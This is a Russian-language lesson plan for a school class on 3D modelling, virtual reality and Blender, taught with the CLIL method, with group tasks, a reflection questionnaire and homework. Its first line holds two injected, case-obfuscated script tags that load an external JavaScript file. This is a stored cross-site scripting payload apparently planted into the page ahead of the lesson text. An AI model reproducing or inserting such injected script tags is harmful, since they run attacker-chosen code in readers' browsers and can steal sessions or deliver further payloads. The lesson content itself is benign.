<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

21.04.2017

3д-моделирование и

анимация. Виртуальность как способ изучения реального мира.

(урок с использованием методики CLIL)

 

Цель: Развивать

языковые навыки, используя информационные технологии, знать понятие

«виртуальная реальность», знать особенности трёхмерной графики и необходимое

программное обеспечение, владеть навыками оценивания, формировать умения

взаимодействия в группе.

Учащиеся знают:

·        

понятие

«виртуальная реальность»,

·        

особенности

трёхмерной графики,

·        

понятие

«3д-моделирование»

·        

необходимое

программное обеспечение

Учащиеся умеют:

· характеризовать

виртуальную реальность, (частично на английском языке)

· определять

особенности трехмерной графики, (частично на английском языке)

· различать

необходимое программное обеспечение, (частично на английском языке)

Учащиеся формируют

умения взаимодействовать в группе. Развивают свой языковой навык.

 

Ход урока:

1.     

Организационный

момент. Мотивационный этап.

Выход на новую тему через просмотр картинок

логотипов и попытку расшифровать их по английскому названию.

Формулирование темы и цели урока.

2.     

Познавательно-операционный

этап.

Работа в группах:

1.     

Работа

с текстами. (3D графика. Виртуальная реальность.)

2.     

Работа

с Semantic map to brainstorm (Необходимо

заполнить семантическую карту на английском языке (можно отдельными

терминами) по разделам используя ранее предоставленный текстовые материалы).

1.     

Представление

семантической карты, используя выражения

a) 3D or 3 Dimensions is…

b) Virtual reality is ….

c) 3D using in…

d) VR using in or for…

e) Main software is …

2.     

Знакомство

с программным обеспечением Blender. (слайд)

3.     

Вопросы

и ответы по теме.

Каждая группа

готовит постер или презентацию, используя подготовленные ресурсы и Интернет.

            Защита

постера или презентации. Оценивание стикером работы.

 

1.     

Рефлексивно-оценочный

этап.

Подчеркни нужное:

1.На уроке я работал	активно / пассивно
2.Своей работой на уроке я	доволен / не доволен
3.Урок для меня показался	коротким / длинным
4.За урок я	не устал / устал
5.Мое настроение	стало лучше / стало хуже
6.Материал урока мне был	понятен / не понятен полезен / бесполезен интересен / скучен
7.Домашнее задание мне кажется	легким / трудным интересно / не интересно

2.     

Домашнее задание.

Моделируем объект "Капля".

Все материалы по уроку во вложенных файлах!!!